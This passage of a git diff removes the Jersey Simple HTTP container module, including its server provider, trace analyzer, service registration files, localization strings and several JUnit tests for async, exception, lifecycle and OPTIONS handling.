- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class SimpleHttpServerProvider implements WebServerProvider {
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
-                                                      final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
-                ? type.cast(new SimpleHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
-                                                final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
-                ? type.cast(new SimpleHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
deleted file mode 100644
index 7560c52..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.Closeable;
-import java.io.IOException;
-
-/**
- * Simple server facade providing convenient methods to obtain info about the server (i.e. port).
- *
- * @author Michal Gajdos
- * @since 2.9
- */
-public interface SimpleServer extends Closeable {
-
-    public void start() throws IOException;
-
-    /**
-     * The port the server is listening to for incomming HTTP connections. If the port is not
-     * specified the {@link org.glassfish.jersey.server.spi.Container.DEFAULT_PORT} is used.
-     *
-     * @return the port the server is listening on
-     */
-    public int getPort();
-
-    /**
-     * If this is true then very low level I/O operations are logged. Typically this is used to debug
-     * I/O issues such as HTTPS handshakes or performance issues by analysing the various latencies
-     * involved in the HTTP conversation.
-     * <p/>
-     * There is a minimal performance penalty if this is enabled and it is perfectly suited to being
-     * enabled in a production environment, at the cost of logging overhead.
-     *
-     * @return {@code true} if debug is enabled, false otherwise.
-     * @since 2.23
-     */
-    public boolean isDebug();
-
-    /**
-     * To enable very low level logging this can be enabled. This goes far beyond logging issues such
-     * as connection establishment of request dispatch, it can trace the TCP operations latencies
-     * involved.
-     *
-     * @param enable if {@code true} debug tracing will be enabled.
-     * @since 2.23
-     */
-    public void setDebug(boolean enable);
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleTraceAnalyzer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleTraceAnalyzer.java
deleted file mode 100644
index 4873da1..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleTraceAnalyzer.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.nio.channels.SelectableChannel;
-import java.util.Queue;
-import java.util.concurrent.ConcurrentLinkedQueue;
-import java.util.concurrent.ThreadFactory;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicLong;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-
-import org.simpleframework.common.thread.DaemonFactory;
-import org.simpleframework.transport.trace.Trace;
-import org.simpleframework.transport.trace.TraceAnalyzer;
-
-/**
- * Tracing at a very low level can be performed with a {@link TraceAnalyzer}. This provides much
- * more useful information than the conventional {@link LoggingFilter} in that it provides details
- * at a very low level. This is very useful when monitoring performance interactions at the TCP
- * level between clients and servers.
- * <p/>
- * Performance overhead for the server is minimal as events are pumped out in batches. The amount of
- * logging information will increase quite significantly though.
- *
- * @author Niall Gallagher
- */
-public class SimpleTraceAnalyzer implements TraceAnalyzer {
-
-    private static final ExtendedLogger logger =
-            new ExtendedLogger(Logger.getLogger(SimpleTraceAnalyzer.class.getName()), Level.FINEST);
-
-    private final TraceConsumer consumer;
-    private final ThreadFactory factory;
-    private final AtomicBoolean active;
-    private final AtomicLong count;
-
-    /**
-     * Creates an asynchronous trace event logger.
-     */
-    public SimpleTraceAnalyzer() {
-        this.factory = new DaemonFactory(TraceConsumer.class);
-        this.consumer = new TraceConsumer();
-        this.active = new AtomicBoolean();
-        this.count = new AtomicLong();
-    }
-
-    public boolean isActive() {
-        return active.get();
-    }
-
-    @Override
-    public Trace attach(SelectableChannel channel) {
-        long sequence = count.getAndIncrement();
-        return new TraceFeeder(channel, sequence);
-    }
-
-    /**
-     * Begin logging trace events to the underlying logger.
-     */
-    public void start() {
-        if (active.compareAndSet(false, true)) {
-            Thread thread = factory.newThread(consumer);
-            thread.start();
-        }
-    }
-
-    @Override
-    public void stop() {
-        active.set(false);
-    }
-
-    private class TraceConsumer implements Runnable {
-
-        private final Queue<TraceRecord> queue;
-
-        public TraceConsumer() {
-            this.queue = new ConcurrentLinkedQueue<TraceRecord>();
-        }
-
-        public void consume(TraceRecord record) {
-            queue.offer(record);
-        }
-
-        public void run() {
-            try {
-                while (active.get()) {
-                    Thread.sleep(1000);
-                    drain();
-                }
-            } catch (Exception e) {
-                logger.info("Trace analyzer error");
-            } finally {
-                try {
-                    drain();
-                } catch (Exception e) {
-                    logger.info("Trace analyzer could not drain queue");
-                }
-                active.set(false);
-            }
-
-        }
-
-        private void drain() {
-            while (!queue.isEmpty()) {
-                TraceRecord record = queue.poll();
-
-                if (record != null) {
-                    String message = record.toString();
-                    logger.info(message);
-                }
-            }
-        }
-    }
-
-    private class TraceFeeder implements Trace {
-
-        private final SelectableChannel channel;
-        private final long sequence;
-
-        public TraceFeeder(SelectableChannel channel, long sequence) {
-            this.sequence = sequence;
-            this.channel = channel;
-        }
-
-        @Override
-        public void trace(Object event) {
-            trace(event, null);
-        }
-
-        @Override
-        public void trace(Object event, Object value) {
-            if (active.get()) {
-                TraceRecord record = new TraceRecord(channel, event, value, sequence);
-                consumer.consume(record);
-            }
-        }
-
-    }
-
-    private class TraceRecord {
-
-        private final SelectableChannel channel;
-        private final String thread;
-        private final Object event;
-        private final Object value;
-        private final long sequence;
-
-        public TraceRecord(SelectableChannel channel, Object event, Object value, long sequence) {
-            this.thread = Thread.currentThread().getName();
-            this.sequence = sequence;
-            this.channel = channel;
-            this.event = event;
-            this.value = value;
-        }
-
-        public String toString() {
-            StringWriter builder = new StringWriter();
-            PrintWriter writer = new PrintWriter(builder);
-
-            writer.print(sequence);
-            writer.print(" ");
-            writer.print(channel);
-            writer.print(" (");
-            writer.print(thread);
-            writer.print("): ");
-            writer.print(event);
-
-            if (value != null) {
-                if (value instanceof Throwable) {
-                    writer.print(" -> ");
-                    ((Throwable) value).printStackTrace(writer);
-                } else {
-                    writer.print(" -> ");
-                    writer.print(value);
-                }
-            }
-            writer.close();
-            return builder.toString();
-        }
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/package-info.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/package-info.java
deleted file mode 100644
index f7a4d38..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2011, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey Simple 6.x container classes.
- */
-package org.glassfish.jersey.simple;
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
deleted file mode 100644
index a0a4981..0000000
--- a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.simple.SimpleContainerProvider
\ No newline at end of file
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
deleted file mode 100644
index 54d8c53..0000000
--- a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.simple.SimpleHttpServerProvider
\ No newline at end of file
diff --git a/containers/simple-http/src/main/resources/org/glassfish/jersey/simple/internal/localization.properties b/containers/simple-http/src/main/resources/org/glassfish/jersey/simple/internal/localization.properties
deleted file mode 100644
index 483f9f0..0000000
--- a/containers/simple-http/src/main/resources/org/glassfish/jersey/simple/internal/localization.properties
+++ /dev/null
@@ -1,22 +0,0 @@
-#
-# Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-
-
-error.when.creating.server=IOException thrown when trying to create simple server.
-uri.cannot.be.null=The URI must not be null.
-wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
-wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
deleted file mode 100644
index 81c8601..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.net.URI;
-import java.security.AccessController;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.junit.jupiter.api.AfterEach;
-
-/**
- * Abstract Simple HTTP Server unit tester.
- *
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Miroslav Fuksa
- */
-public abstract class AbstractSimpleServerTester {
-
-    public static final String CONTEXT = "";
-    private final int DEFAULT_PORT = 0; // rather SimpleFramework server choose than 9998
-
-    private static final Logger LOGGER = Logger.getLogger(AbstractSimpleServerTester.class.getName());
-
-    /**
-     * Get the port to be used for test application deployments.
-     *
-     * @return The HTTP port of the URI
-     */
-    protected final int getPort() {
-        if (server != null) {
-            return server.getPort();
-        }
-
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (NumberFormatException e) {
-                LOGGER.log(
-                        Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                        + " property is not a valid non-negative integer [" + value + "]."
-                        + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-
-        return DEFAULT_PORT;
-    }
-
-    private final int getPort(RuntimeType runtimeType) {
-        switch (runtimeType) {
-            case SERVER:
-                return getPort();
-            case CLIENT:
-                return server.getPort();
-            default:
-                throw new IllegalStateException("Unexpected runtime type");
-        }
-    }
-    private volatile SimpleServer server;
-
-    public UriBuilder getUri() {
-        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
-    }
-
-    public void startServer(Class... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        config.register(LoggingFeature.class);
-        final URI baseUri = getBaseUri();
-        server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public void startServerNoLoggingFilter(Class... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        final URI baseUri = getBaseUri();
-        server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public void startServer(ResourceConfig config) {
-        final URI baseUri = getBaseUri();
-        config.register(LoggingFeature.class);
-        server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public void startServer(ResourceConfig config, int count, int select) {
-        final URI baseUri = getBaseUri();
-        config.register(LoggingFeature.class);
-        server = SimpleContainerFactory.create(baseUri, config, count, select);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
-    }
-
-    public URI getBaseUri() {
-        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
-    }
-
-    public void setDebug(boolean enable) {
-        if (server != null) {
-            server.setDebug(enable);
-        }
-    }
-
-    public void stopServer() {
-        try {
-            server.close();
-            server = null;
-            LOGGER.log(Level.INFO, "Simple-http server stopped.");
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @AfterEach
-    public void tearDown() {
-        if (server != null) {
-            stopServer();
-        }
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AsyncTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AsyncTest.java
deleted file mode 100644
index 5faf09b..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AsyncTest.java
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Michal Gajdos
- */
-public class AsyncTest extends AbstractSimpleServerTester {
-
-    @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
-    public static class AsyncResource {
-
-        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
-
-        @GET
-        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 5 seconds, simulated using
-                    // sleep()
-                    try {
-                        Thread.sleep(5000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(final AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                                                 .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 10 seconds, simulated using
-                    // sleep()
-                    try {
-                        Thread.sleep(7000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("multiple-invocations")
-        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
-            INVOCATION_COUNT.incrementAndGet();
-
-            new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    asyncResponse.resume("OK");
-                }
-            }).start();
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(AsyncResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-    @Test
-    public void testAsyncGet() throws ExecutionException, InterruptedException {
-        final Future<Response> responseFuture =
-                client.target(getUri().path("/async")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-        // get() waits for the response
-        assertEquals("DONE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAsyncGetWithTimeout()
-            throws ExecutionException, InterruptedException, TimeoutException {
-        final Future<Response> responseFuture =
-                client.target(getUri().path("/async/timeout")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-
-    /**
-     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
-     */
-    @Test
-    public void testAsyncMultipleInvocations() throws Exception {
-        final Response response =
-                client.target(getUri().path("/async/multiple-invocations")).request().get();
-
-        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
-
-        assertThat(response.getStatus(), is(200));
-        assertThat(response.readEntity(String.class), is("OK"));
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ExceptionTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ExceptionTest.java
deleted file mode 100644
index 7672d3f..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ExceptionTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.PathParam;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- */
-public class ExceptionTest extends AbstractSimpleServerTester {
-    @Path("{status}")
-    public static class ExceptionResource {
-        @GET
-        public String get(@PathParam("status") int status) {
-            throw new WebApplicationException(status);
-        }
-
-    }
-
-    @Test
-    public void test400StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("400").build());
-        assertEquals(400, r.request().get(Response.class).getStatus());
-    }
-
-    @Test
-    public void test500StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("500").build());
-
-        assertEquals(500, r.request().get(Response.class).getStatus());
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/LifecycleListenerTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/LifecycleListenerTest.java
deleted file mode 100644
index c99e3b1..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/LifecycleListenerTest.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
-import org.glassfish.jersey.server.spi.Container;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Reload and ContainerLifecycleListener support test.
- *
- * @author Paul Sandoz
- * @author Marek Potociar
- */
-public class LifecycleListenerTest extends AbstractSimpleServerTester {
-
-    @Path("/one")
-    public static class One {
-        @GET
-        public String get() {
-            return "one";
-        }
-    }
-
-    @Path("/two")
-    public static class Two {
-        @GET
-        public String get() {
-            return "two";
-        }
-    }
-
-    public static class Reloader extends AbstractContainerLifecycleListener {
-        Container container;
-
-        public void reload(ResourceConfig newConfig) {
-            container.reload(newConfig);
-        }
-
-        public void reload() {
-            container.reload();
-        }
-
-        @Override
-        public void onStartup(Container container) {
-            this.container = container;
-        }
-
-    }
-
-    @Test
-    public void testReload() {
-        final ResourceConfig rc = new ResourceConfig(One.class);
-
-        Reloader reloader = new Reloader();
-        rc.registerInstances(reloader);
-
-        startServer(rc);
-
-        WebTarget r = ClientBuilder.newClient().target(getUri().path("/").build());
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
-
-        // add Two resource
-        reloader.reload(new ResourceConfig(One.class, Two.class));
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals("two", r.path("two").request().get(String.class));
-    }
-
-    static class StartStopListener extends AbstractContainerLifecycleListener {
-        volatile boolean started;
-        volatile boolean stopped;
-
-        @Override
-        public void onStartup(Container container) {
-            started = true;
-        }
-
-        @Override
-        public void onShutdown(Container container) {
-            stopped = true;
-        }
-    }
-
-    @Test
-    public void testStartupShutdownHooks() {
-        final StartStopListener listener = new StartStopListener();
-
-        startServer(new ResourceConfig(One.class).register(listener));
-
-        WebTarget r = ClientBuilder.newClient().target(getUri().path("/").build());
-
-        assertThat(r.path("one").request().get(String.class), equalTo("one"));
-        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
-
-        stopServer();
-
-        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
-        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/OptionsTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/OptionsTest.java
deleted file mode 100644
index a93d872..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/OptionsTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class OptionsTest extends AbstractSimpleServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Path("/users")
-    public class UserResource {
-
-        @Path("/current")
-        @GET
-        @Produces("text/plain")
-        public String getCurrentUser() {
-            return "current user";
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(HelloWorldResource.class, UserResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-
-    @Test
-    public void testFooBarOptions() {
-        Response response =
-                client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(0, response.getLength());
-        assertEquals("foo/bar", response.getMediaType().toString());
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testNoDefaultMethod() {
-        Response response = client.target(getUri()).path("/users").request().options();
-        assertThat(response.getStatus(), is(404));
-    }
-
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ParallelTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ParallelTest.java
deleted file mode 100644
index d328fc1..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/ParallelTest.java
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
